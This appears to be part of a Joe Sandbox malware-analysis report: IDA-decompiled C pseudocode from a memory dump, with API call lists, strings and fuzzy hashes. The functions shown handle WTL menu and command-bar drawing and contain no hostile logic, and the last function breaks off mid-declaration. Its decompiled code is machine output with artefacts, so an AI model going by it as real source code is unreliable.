UnhookWindowsHookEx.USER32(00000000), ref: 000FF8A1
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FF8B8
UpdateWindow.USER32(00000001), ref: 000FF8C9
GetParent.USER32(00000001), ref: 000FF8D9
GetParent.USER32(00000000), ref: 000FF8E3
UpdateWindow.USER32(00000001), ref: 000FF8EA

Strings

,, xrefs: 000FF9BB
Z, xrefs: 000FF9B2
1, xrefs: 000FFA00

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalHookParentSectionUpdateWindowWindows$CurrentEnterLeaveMenuPopupThreadTrackUnhook
String ID: ,$1$Z
API String ID: 792872514-2998721434
Opcode ID: cb1062771995f63129b825699c9d748445dfc74208f5852e2aef1be6d893fe5c
Instruction ID: b7c5e9532569a9ecf2c65738c75d9778c37c9ee08d9c7e84949ef05e4e1ea57a
Opcode Fuzzy Hash: cb1062771995f63129b825699c9d748445dfc74208f5852e2aef1be6d893fe5c
Instruction Fuzzy Hash: BA818F70A00359EFDB21CF54DD84BAAB7B9FF48700F0081A9EA49A7641DBB099C5CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00102230 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 300
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00102230(void* __ecx, int _a4) {
				signed int _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				long _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				struct HDC__* _v64;
				int _v68;
				int _v72;
				intOrPtr _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				int _v92;
				struct tagMENUITEMINFOA _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t121;
				signed int _t124;
				long _t132;
				signed int _t141;
				signed int _t143;
				signed int _t148;
				intOrPtr _t151;
				void* _t155;
				int _t167;
				int _t168;
				struct HBRUSH__* _t169;
				RECT* _t192;
				long _t194;
				long _t200;
				signed int _t203;
				int _t215;
				long _t234;
				intOrPtr _t235;
				signed int _t238;
				long _t250;
				void* _t252;
				int _t253;
				signed int _t255;
				int _t258;
				signed int _t262;

				_t121 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t121 ^ _t262;
				_t252 = __ecx;
				_v68 = _a4;
				_t124 =  *(__ecx + 0x10);
				_v76 =  *((intOrPtr*)(__ecx + 0x2c));
				_t255 = _t124 & 0x00000001;
				_v64 =  *((intOrPtr*)(__ecx + 0x18));
				_t192 = __ecx + 0x1c;
				_v80 = _t124 & 0x00000002;
				_v84 = _t255;
				_v88 = _t124 & 0x00000008;
				if(_t255 != 0) {
					FillRect(_v64, _t192, GetSysColorBrush(0x1d));
					FrameRect(_v64, _t192, GetSysColorBrush(0xd));
				} else {
					if( *((intOrPtr*)(__ecx + 0xc)) == 2) {
						FillRect(_v64, _t192, GetSysColorBrush(4));
					}
				}
				if(( *(_v76 + 8) & 0x00000800) == 0) {
					__eflags =  *(_t252 + 8) - 0xffff;
					if( *(_t252 + 8) == 0xffff) {
						_v84 = 0;
						_t255 = _v84;
					}
					_t132 = _t192->left;
					_t200 = _t192->top;
					_v28.left = _t132;
					_v28.right =  *((intOrPtr*)(_v68 + 0x98)) + _t132;
					_t234 =  *((intOrPtr*)(_v68 + 0x9c)) + _t200;
					_v28.bottom = _t234;
					asm("cdq");
					_v28.top = _t200;
					OffsetRect( &_v28, 0, _t192->bottom - _t200 - _t234 + _t200 - _t234 >> 1);
					__eflags = _v88;
					if(_v88 != 0) {
						_v44.top = _v28.top;
						_v44.left = _v28.left;
						_v44.right = _v28.right;
						_v44.bottom = _v28.bottom;
						InflateRect( &_v44, 0xffffffff, 0xffffffff);
						__eflags = _t255;
						if(_t255 != 0) {
							FillRect(_v64,  &_v44, GetSysColorBrush(4));
						}
						FrameRect(_v64,  &_v44, GetSysColorBrush(0xd));
					}
					_t235 = _v76;
					_t141 =  *(_t235 + 0x10);
					_v92 = _t141;
					__eflags = _t141;
					if(_t141 < 0) {
						E00106820( &_v140, 0, 0x30);
						_v140.cbSize = 0x30;
						_t143 = E000F4890(_t192, _t252, _t255);
						__eflags = _t143;
						if(_t143 != 0) {
							_v140.cbSize = 0x2c;
						}
						_v140.fMask = 0x18;
						GetMenuItemInfoA( *(_t252 + 0x14),  *(_t252 + 8), 0,  &_v140);
						_t238 = _v88;
						_t203 = _v140.hbmpUnchecked;
						__eflags = _t238;
						if(_t238 != 0) {
							L23:
							_t148 = _v140.fType >> 0x00000009 & 0x00000001;
							__eflags = _t238;
							if(_t238 != 0) {
								_t203 = _v140.hbmpChecked;
							}
							E00102E10( &_v64,  &_v28, _v68, _t255, _v80, _t148, _t203);
						} else {
							__eflags = _t203;
							if(_t203 != 0) {
								goto L23;
							}
						}
						_t253 = _v68;
					} else {
						_t253 = _v68;
						asm("cdq");
						_v72 = _v28.right -  *((intOrPtr*)(_t253 + 0x90)) - _v28.left - _t235 >> 1;
						_t215 = _v72 + _v28.left;
						asm("cdq");
						_t167 = (_v28.bottom -  *((intOrPtr*)(_t253 + 0x94)) - _v28.top - _t235 >> 1) + _v28.top;
						__eflags = _v80;
						_v72 = _t215;
						_v68 = _t167;
						if(_v80 != 0) {
							__eflags = _t255;
							if(__eflags == 0) {
								L17:
								_t168 = 4;
							} else {
								__eflags = _v88;
								_t168 = 0x1d;
								if(__eflags != 0) {
									goto L17;
								}
							}
							_t169 = GetSysColorBrush(_t168);
							E00102D30( &_v64, _t253, __eflags,  &_v64, _v92, _t169, _t169, GetSysColorBrush(0x10), _v72, _v68);
							_t255 = _v84;
						} else {
							ImageList_Draw( *(_t253 + 0x48), _v92, _v64, _t215, _t167, 1);
						}
					}
					_t151 =  *((intOrPtr*)(_t253 + 0x98));
					_v56 = _t192->top;
					_t193 = _t192->bottom;
					_v52 = _t192->right - _t151;
					_v48 = _t192->bottom;
					_v60 = _t192->left + _t151 + 3;
					SetBkMode(_v64, 1);
					__eflags = _v80;
					if(_v80 == 0) {
						asm("sbb esi, esi");
						_t258 = ( ~_t255 & 0x00000007) + 7;
						__eflags = _t258;
					} else {
						__eflags = _t255;
						_t115 = (0 | _t255 != 0x00000000) + 0x10; // 0x10
						_t258 = _t115;
					}
					_t155 = E00102C90( *((intOrPtr*)(_v76 + 4)), _t253,  &_v64,  &_v60, GetSysColor(_t258));
					__eflags = _v12 ^ _t262;
					return E001059E6(_t155, _t193, _v12 ^ _t262,  &_v64, _t253,  *((intOrPtr*)(_v76 + 4)));
				} else {
					_t250 = _t192->right;
					_v44.left = _t192->left;
					_t194 = _t192->bottom;
					_v44.right = _t250;
					asm("cdq");
					_v44.top = _t192->top + (_t194 - _t192->top - _t250 >> 1);
					_v44.bottom = _t194;
					return E001059E6(DrawEdge(_v64,  &_v44, 6, 2), _t194, _v12 ^ _t262, _t250, _t252, _t255);
				}
			}

0x00102239
0x00102240
0x00102249
0x00102251
0x00102254
0x00102257
0x0010225e
0x00102267
0x0010226a
0x0010226d
0x00102270
0x00102273
0x00102278
0x001022f5
0x00102309
0x0010227a
0x0010227e
0x0010228e
0x0010228e
0x0010227e
0x0010229e
0x00102316
0x0010231a
0x0010231c
0x00102323
0x00102323
0x00102326
0x00102331
0x00102336
0x0010233c
0x0010234a
0x00102350
0x00102353
0x00102359
0x00102362
0x00102368
0x0010236c
0x00102379
0x0010237c
0x00102388
0x0010238b
0x0010238e
0x00102394
0x00102396
0x001023a9
0x001023a9
0x001023c0
0x001023c0
0x001023c6
0x001023c9
0x001023cc
0x001023cf
0x001023d1
0x00102483
0x0010248b
0x00102495
0x0010249a
0x0010249c
0x0010249e
0x0010249e
0x001024b9
0x001024c3
0x001024c9
0x001024cc
0x001024cf
0x001024d1
0x001024d7
0x001024dd
0x001024e0
0x001024e2
0x001024e4
0x001024e4
0x001024f8
0x001024d3
0x001024d3
0x001024d5
0x00000000
0x00000000
0x001024d5
0x001024fd
0x001023d7
0x001023d7
0x001023ef
0x001023f7
0x001023ff
0x00102402
0x00102407
0x0010240a
0x0010240e
0x00102411
0x00102414
0x00102431
0x00102433
0x00102440
0x00102440
0x00102435
0x00102435
0x00102439
0x0010243e
0x00000000
0x00000000
0x0010243e
0x00102446
0x0010246b
0x00102470
0x00102416
0x00102426
0x00102426
0x00102414
0x00102503
0x0010250b
0x00102511
0x00102516
0x00102523
0x00102526
0x00102529
0x0010252f
0x00102533
0x00102543
0x00102548
0x00102548
0x00102535
0x00102537
0x0010253c
0x0010253c
0x0010253c
0x00102562
0x0010256c
0x00102577
0x001022a0
0x001022a2
0x001022a5
0x001022ab
0x001022b2
0x001022b5
0x001022c3
0x001022cb
0x001022e4
0x001022e4

APIs

GetSysColorBrush.USER32(00000004), ref: 00102282
FillRect.USER32 ref: 0010228E
DrawEdge.USER32(?,?,00000006,00000002), ref: 001022CE
GetSysColorBrush.USER32(0000001D), ref: 001022E9
FillRect.USER32 ref: 001022F5
GetSysColorBrush.USER32(0000000D), ref: 001022FD
FrameRect.USER32 ref: 00102309
OffsetRect.USER32(?,00000000,?), ref: 00102362
InflateRect.USER32(?,000000FF,000000FF), ref: 0010238E
GetSysColorBrush.USER32(00000004), ref: 0010239A
FillRect.USER32 ref: 001023A9
GetSysColorBrush.USER32(0000000D), ref: 001023B1
FrameRect.USER32 ref: 001023C0
ImageList_Draw.COMCTL32(?,?,?,?,000FC527,00000001,?,?,?,?,000FECC4), ref: 00102426
GetSysColorBrush.USER32(00000004), ref: 00102446
GetSysColorBrush.USER32(00000010), ref: 00102450
_memset.LIBCMT ref: 00102483
GetMenuItemInfoA.USER32 ref: 001024C3
SetBkMode.GDI32(?,00000001), ref: 00102529
GetSysColor.USER32(?), ref: 0010254C

Strings

,, xrefs: 0010249E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Color$BrushRect$Fill$DrawFrame$EdgeImageInflateInfoItemList_MenuModeOffset_memset
String ID: ,
API String ID: 447778773-3772416878
Opcode ID: 1b4cd5b0e6a7163a8e74790efc95dfa582a929ec720677046901d138a80a35a3
Instruction ID: 9db8e0d0b0b53d687afe73ae18b658e82cf10e66a22dea55c3dfeafb1e21b995
Opcode Fuzzy Hash: 1b4cd5b0e6a7163a8e74790efc95dfa582a929ec720677046901d138a80a35a3
Instruction Fuzzy Hash: DAC12075E00219DFCB18DFA8D988AEEB7B5FF48310F148119E919A7294DB74AC85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00100C90 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 244
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00100C90(int __ecx, intOrPtr __esi, signed char _a4) {
				signed int _v12;
				struct tagRECT _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				char _v48;
				int _v52;
				int _v56;
				int _v60;
				int _v64;
				void* _v68;
				int _v72;
				struct tagPOINT _v80;
				struct HMENU__* _v84;
				int _v88;
				struct tagMSG _v112;
				void* __ebx;
				void* __edi;
				signed int _t94;
				int _t109;
				signed int _t113;
				signed char _t126;
				int _t132;
				void* _t143;
				void* _t144;
				intOrPtr _t145;
				struct _CRITICAL_SECTION* _t146;
				int _t161;
				int _t176;
				int _t177;
				struct HWND__* _t178;
				signed int _t179;
				signed int _t180;
				intOrPtr _t181;
				signed int _t182;

				_t181 = __esi;
				_t94 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t94 ^ _t182;
				_t143 = SendMessageA;
				_v28.left = 0;
				_v28.top = 0;
				_v28.right = 0;
				_v28.bottom = 0;
				_t176 = __ecx;
				SendMessageA( *(__esi + 4), 0x41d, __ecx,  &_v28);
				_v80.x = _v28.left;
				_v80.y = _v28.bottom;
				MapWindowPoints( *(__esi + 4), 0,  &_v80, 1);
				MapWindowPoints( *(__esi + 4), 0,  &_v28, 2);
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v40 = _v28.top;
				_v44 = _v28.left;
				_v48 = 0x14;
				_v36 = _v28.right;
				_v32 = _v28.bottom;
				_v84 = GetSubMenu( *(__esi + 0x44), _t176);
				_v68 = 0;
				_v64 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				SendMessageA( *(__esi + 4), 0x417, _t176,  &_v68);
				_t109 = _v64;
				_v72 = _t109;
				 *(__esi + 0x88) = _t176;
				SendMessageA( *(__esi + 4), 0x403, _t109, 1);
				_t177 = _v72;
				SendMessageA( *(__esi + 4), 0x448, _t177, 0);
				if( *0x1719a0 == 0) {
					_t113 = 0;
				} else {
					asm("sbb eax, eax");
					_t113 = ( ~(_a4 & 0x000000ff) & 0xffffd000) + 0x4000;
				}
				E000FF7B0( &_v48, _v80.y, _t181, _v84, _t113 | 0x00000040, _v80.x);
				SendMessageA( *(_t181 + 4), 0x403, _t177, 0);
				_t178 =  *(_t181 + 4);
				if(GetFocus() != _t178) {
					SendMessageA(_t178, 0x448, 0xffffffff, 0);
				}
				_t173 =  *(_t181 + 4);
				_t179 = PeekMessageA;
				_v112.hwnd = 0;
				_v112.message = 0;
				_v112.wParam = 0;
				_v112.lParam = 0;
				_v112.time = 0;
				_v112.pt.x = 0;
				_v88 = 0;
				 *(_t181 + 0x88) = 0xffffffff;
				if(PeekMessageA( &_v112,  *(_t181 + 4), 0x201, 0x201, 0) != 0) {
					_t173 = _v112.pt.x;
					_push(_v88);
					if(PtInRect( &_v28, _v112.pt.x) != 0) {
						_t173 =  &_v112;
						PeekMessageA( &_v112,  *(_t181 + 4), 0x201, 0x201, 1);
					}
				}
				_t180 = _t179 | 0xffffffff;
				if( *(_t181 + 0x8c) == _t180) {
					 *(_t181 + 0x84) =  *(_t181 + 0x84) & 0x000000ef;
					if(( *(_t181 + 0x84) & 0x00000020) != 0) {
						SendMessageA( *(_t181 + 4), 0x448, _v72, 0);
						return E001059E6(SendMessageA( *(_t181 + 4), 0x449, 1, 0), _t143, _v12 ^ _t182,  *(_t181 + 4), _t180, _t181);
					} else {
						_t126 =  *(_t181 + 0x85);
						if((_t126 & 0x00000002) != 0 && (_t126 & 0x00000004) != 0) {
							 *(_t181 + 0x85) = _t126 & 0x000000f7;
						}
						return E001059E6(E00101570(_t181, _t180), _t143, _v12 ^ _t182, _t173, _t180, _t181);
					}
				} else {
					if( *0x1719a4 == 0) {
						_t145 =  *0x17196c; // 0x1719bc
						_t146 = _t145 + 0x10;
						EnterCriticalSection(_t146);
						if( *0x1719a4 == 0) {
							 *0x1719a4 = RegisterWindowMessageA("WTL_CmdBar_InternalAutoPopupMsg");
						}
						LeaveCriticalSection(_t146);
					}
					_t161 =  *0x1719a4; // 0x0
					_t175 =  *(_t181 + 4);
					_t144 = PostMessageA;
					_t132 = PostMessageA( *(_t181 + 4), _t161,  *(_t181 + 0x8c) & 0x0000ffff, 0);
					if(( *(_t181 + 0x8c) & 0xffff0000) == 0 && ( *(_t181 + 0x84) & 0x00000008) == 0) {
						_t132 = PostMessageA( *(_t181 + 4), 0x100, 0x28, 0);
					}
					 *(_t181 + 0x8c) = _t180;
					return E001059E6(_t132, _t144, _v12 ^ _t182, _t175, _t180, _t181);
				}
			}

0x00100c90
0x00100c96
0x00100c9d
0x00100ca1
0x00100caa
0x00100cad
0x00100cb0
0x00100cb3
0x00100cba
0x00100cc6
0x00100cd4
0x00100cdd
0x00100ce0
0x00100cf2
0x00100d00
0x00100d03
0x00100d06
0x00100d09
0x00100d0f
0x00100d15
0x00100d1d
0x00100d24
0x00100d27
0x00100d38
0x00100d43
0x00100d46
0x00100d49
0x00100d4c
0x00100d4f
0x00100d52
0x00100d54
0x00100d5a
0x00100d66
0x00100d6c
0x00100d6e
0x00100d7d
0x00100d86
0x00100d9c
0x00100d88
0x00100d8e
0x00100d95
0x00100d95
0x00100db1
0x00100dc2
0x00100dc4
0x00100dcf
0x00100ddb
0x00100ddb
0x00100ddd
0x00100de0
0x00100df3
0x00100df6
0x00100df9
0x00100dfc
0x00100dff
0x00100e02
0x00100e05
0x00100e0d
0x00100e1b
0x00100e20
0x00100e23
0x00100e31
0x00100e43
0x00100e47
0x00100e47
0x00100e31
0x00100e49
0x00100e52
0x00100eea
0x00100ef8
0x00100f38
0x00100f58
0x00100efa
0x00100efa
0x00100f02
0x00100f0a
0x00100f0a
0x00100f26
0x00100f26
0x00100e58
0x00100e5f
0x00100e61
0x00100e67
0x00100e6b
0x00100e78
0x00100e85
0x00100e85
0x00100e8b
0x00100e8b
0x00100e98
0x00100e9e
0x00100ea1
0x00100eac
0x00100eb8
0x00100ed0
0x00100ed0
0x00100ed2
0x00100ee7
0x00100ee7

APIs

SendMessageA.USER32(?,0000041D,?,?), ref: 00100CC6
MapWindowPoints.USER32 ref: 00100CE0
MapWindowPoints.USER32 ref: 00100CF2
GetSubMenu.USER32 ref: 00100D2A
SendMessageA.USER32(?,00000417,?,?), ref: 00100D52
SendMessageA.USER32(?,00000403,?,00000001), ref: 00100D6C
SendMessageA.USER32(?,00000448,?,00000000), ref: 00100D7D
SendMessageA.USER32(?,00000403,?,00000000), ref: 00100DC2
GetFocus.USER32(?,?,00000000,?,?,?), ref: 00100DC7
SendMessageA.USER32(?,00000448,000000FF,00000000), ref: 00100DDB
PeekMessageA.USER32(?,?,00000201,00000201,00000000), ref: 00100E17
PtInRect.USER32(?,?,?), ref: 00100E29
PeekMessageA.USER32(?,?,00000201,00000201,00000001), ref: 00100E47
EnterCriticalSection.KERNEL32(001719AC,?,?), ref: 00100E6B
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalAutoPopupMsg,?,?), ref: 00100E7F
LeaveCriticalSection.KERNEL32(001719AC,?,?), ref: 00100E8B
PostMessageA.USER32 ref: 00100EAC
PostMessageA.USER32 ref: 00100ED0

Strings

WTL_CmdBar_InternalAutoPopupMsg, xrefs: 00100E7A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$Send$Window$CriticalPeekPointsPostSection$EnterFocusLeaveMenuRectRegister
String ID: WTL_CmdBar_InternalAutoPopupMsg
API String ID: 3627267019-631010736
Opcode ID: 3065f9b13e1fabe355c345d23f3a8c3fe10f754f18c06cb28dbe788e61af487f
Instruction ID: aa7b2b35f18727cdcbaecdae3770b0295e494d9f69364fea273f996107989826
Opcode Fuzzy Hash: 3065f9b13e1fabe355c345d23f3a8c3fe10f754f18c06cb28dbe788e61af487f
Instruction Fuzzy Hash: 48911DB1E00708AFDB14CFA9DD85FAEB7F5BB48700F108519E659E7280D7B0A981CB24

Uniqueness

Uniqueness Score: -1.00%

Function 000FBB40 Relevance: 36.9, APIs: 17, Strings: 4, Instructions: 187
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E000FBB40(struct HMENU__* __ecx, struct HWND__* __edx, void* __edi) {
				signed int _v8;
				char _v116;
				int _v120;
				int _v124;
				char _v127;
				char _v128;
				int _v132;
				void* _v136;
				struct _OSVERSIONINFOA _v292;
				int _v296;
				intOrPtr _v300;
				CHAR* _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				void* _v328;
				struct tagMENUITEMINFOA _v376;
				void* __ebx;
				void* __esi;
				signed int _t67;
				struct HMENU__* _t69;
				long _t74;
				struct HMENU__* _t75;
				int _t80;
				intOrPtr _t96;
				void* _t101;
				int _t126;
				long _t127;
				signed int _t128;
				void* _t129;

				_t125 = __edi;
				_t118 = __edx;
				_t67 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t67 ^ _t128;
				_t126 = __ecx;
				if(__ecx == 0 || IsMenu(__ecx) != 0) {
					_t69 =  *(_t125 + 0x44);
					if(_t69 != 0 && ( *(_t125 + 0x58) & 0x00000002) == 0) {
						DestroyMenu(_t69);
					}
					 *(_t125 + 0x44) = _t126;
					if(( *(_t125 + 0x84) & 0x00000002) == 0) {
						_t101 = SendMessageA;
						SendMessageA( *(_t125 + 4), 0xb, 0, 0);
						_t74 = SendMessageA( *(_t125 + 4), 0x418, 0, 0);
						if(_t74 > 0) {
							_t127 = _t74;
							do {
								SendMessageA( *(_t125 + 4), 0x416, 0, 0);
								_t127 = _t127 - 1;
							} while (_t127 != 0);
						}
						_t75 =  *(_t125 + 0x44);
						if(_t75 != 0) {
							_t80 = GetMenuItemCount(_t75);
							_t126 = 0;
							_v296 = _t80;
							if(_t80 > 0) {
								do {
									E00106820( &_v376, 0, 0x30);
									_v376.cbSize = 0x30;
									E00106820( &(_v292.dwMajorVersion), 0, 0x90);
									_t129 = _t129 + 0x18;
									_v292.dwOSVersionInfoSize = 0x94;
									if(GetVersionExA( &_v292) == 0) {
										L16:
										_v376.cbSize = 0x2c;
									} else {
										_t96 = _v292.dwMajorVersion;
										if(_t96 < 5 && (_t96 != 4 || _v292.dwMinorVersion < 0x5a)) {
											goto L16;
										}
									}
									_v376.fMask = 0x15;
									_v376.fType = 0;
									_v376.dwTypeData =  &_v116;
									_v376.cch = 0x64;
									GetMenuItemInfoA( *(_t125 + 0x44), _t126, 1,  &_v376);
									if(lstrlenA( &_v116) > 0x63) {
										_v376.fType = 4;
										SetMenuItemInfoA( *(_t125 + 0x44), _t126, 1,  &_v376);
										_v116 = 0;
									}
									asm("sbb cl, cl");
									_v128 = 0;
									_v124 = 0;
									_v120 = 0;
									_v132 = 0;
									_v136 = 0;
									_v124 = 0;
									_v120 = 0;
									_v132 = _t126;
									_v128 = 4 + ( ~(_v376.fState & 0x00000003) & 0x000000fc);
									_v127 = 0x18;
									SendMessageA( *(_t125 + 4), 0x415, 0xffffffff,  &_v136);
									_v324 = 0;
									_v304 = 0;
									_v320 = 0;
									_v316 = 0;
									_v312 = 0;
									_v308 = 0;
									_v300 = 0;
									_v328 = 0x20;
									_v324 = 2;
									_v304 =  &_v116;
									SendMessageA( *(_t125 + 4), 0x442, _t126,  &_v328);
									_t126 = _t126 + 1;
								} while (_t126 < _v296);
							}
						}
						SendMessageA( *(_t125 + 4), 0xb, 1, 0);
						_t118 =  *(_t125 + 4);
						InvalidateRect( *(_t125 + 4), 0, 1);
						UpdateWindow( *(_t125 + 4));
					}
					return E001059E6(1, _t101, _v8 ^ _t128, _t118, _t125, _t126);
				} else {
					return E001059E6(_t99, _t101, _v8 ^ _t128, _t118, __edi, _t126);
				}
			}

0x000fbb40
0x000fbb40
0x000fbb49
0x000fbb50
0x000fbb55
0x000fbb59
0x000fbb76
0x000fbb7b
0x000fbb84
0x000fbb84
0x000fbb91
0x000fbb94
0x000fbb9d
0x000fbbaa
0x000fbbb9
0x000fbbbd
0x000fbbbf
0x000fbbc1
0x000fbbce
0x000fbbd0
0x000fbbd0
0x000fbbc1
0x000fbbd3
0x000fbbd8
0x000fbbdf
0x000fbbe5
0x000fbbe7
0x000fbbef
0x000fbbf5
0x000fbc00
0x000fbc13
0x000fbc1d
0x000fbc22
0x000fbc2c
0x000fbc3e
0x000fbc59
0x000fbc59
0x000fbc40
0x000fbc40
0x000fbc49
0x00000000
0x00000000
0x000fbc49
0x000fbc74
0x000fbc7e
0x000fbc88
0x000fbc8e
0x000fbc98
0x000fbcab
0x000fbcbb
0x000fbcc5
0x000fbccb
0x000fbccb
0x000fbce3
0x000fbce5
0x000fbce8
0x000fbceb
0x000fbcf0
0x000fbcf3
0x000fbcfc
0x000fbcff
0x000fbd0e
0x000fbd11
0x000fbd14
0x000fbd18
0x000fbd24
0x000fbd2a
0x000fbd30
0x000fbd36
0x000fbd3c
0x000fbd42
0x000fbd48
0x000fbd5a
0x000fbd64
0x000fbd6e
0x000fbd74
0x000fbd76
0x000fbd77
0x000fbbf5
0x000fbbef
0x000fbd8d
0x000fbd8f
0x000fbd97
0x000fbda1
0x000fbda1
0x000fbdbb
0x000fbb68
0x000fbb75
0x000fbb75

APIs

IsMenu.USER32 ref: 000FBB5C
DestroyMenu.USER32(?,?,00000000), ref: 000FBB84
SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 000FBBAA
SendMessageA.USER32(?,00000418,00000000,00000000), ref: 000FBBB9
SendMessageA.USER32(?,00000416,00000000,00000000), ref: 000FBBCE
GetMenuItemCount.USER32 ref: 000FBBDF
_memset.LIBCMT ref: 000FBC00
_memset.LIBCMT ref: 000FBC1D
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000), ref: 000FBC36
GetMenuItemInfoA.USER32 ref: 000FBC98
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 000FBCA2
SetMenuItemInfoA.USER32(?,00000000,00000001,0000002C), ref: 000FBCC5
SendMessageA.USER32(?,00000415,000000FF,?), ref: 000FBD18
SendMessageA.USER32(?,00000442,00000000,?), ref: 000FBD74
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 000FBD8D
InvalidateRect.USER32(?,00000000,00000001,?,00000000), ref: 000FBD97
UpdateWindow.USER32(?), ref: 000FBDA1

Strings

d, xrefs: 000FBC8E
, xrefs: 000FBD5A
,, xrefs: 000FBC59
Z, xrefs: 000FBC50

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$Menu$Item$Info_memset$CountDestroyInvalidateRectUpdateVersionWindowlstrlen
String ID: $,$Z$d
API String ID: 1339012150-1066513455
Opcode ID: 259862d8762748a25c871f6c076e9b42c09829800bf9c08f1b186110e2d1e2aa
Instruction ID: 84ae4b05674536f02dff54927b77c5cbc651ba427e5eab37706a236c60184fb6
Opcode Fuzzy Hash: 259862d8762748a25c871f6c076e9b42c09829800bf9c08f1b186110e2d1e2aa
Instruction Fuzzy Hash: 997121B1D00619AFDB71CF64CD85BDAB7F4BB08714F104199E608E7681D7B5A980CF94

Uniqueness

Uniqueness Score: -1.00%

Function 000F5910 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 370
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E000F5910(CHAR** _a4, CHAR* _a8, char _a12) {
				char _v8;
				long* _v12;
				long* _v16;
				char* _v20;
				CHAR* _t88;
				CHAR* _t93;
				CHAR* _t95;
				int _t97;
				long* _t100;
				void* _t102;
				long* _t104;
				CHAR* _t105;
				CHAR* _t111;
				char _t115;
				char _t118;
				void* _t120;
				signed int _t122;
				long* _t123;
				long* _t124;
				long* _t125;
				void* _t128;
				char _t131;
				intOrPtr* _t132;
				signed int _t133;
				long* _t134;
				char _t136;
				long* _t137;
				char _t139;
				CHAR* _t140;
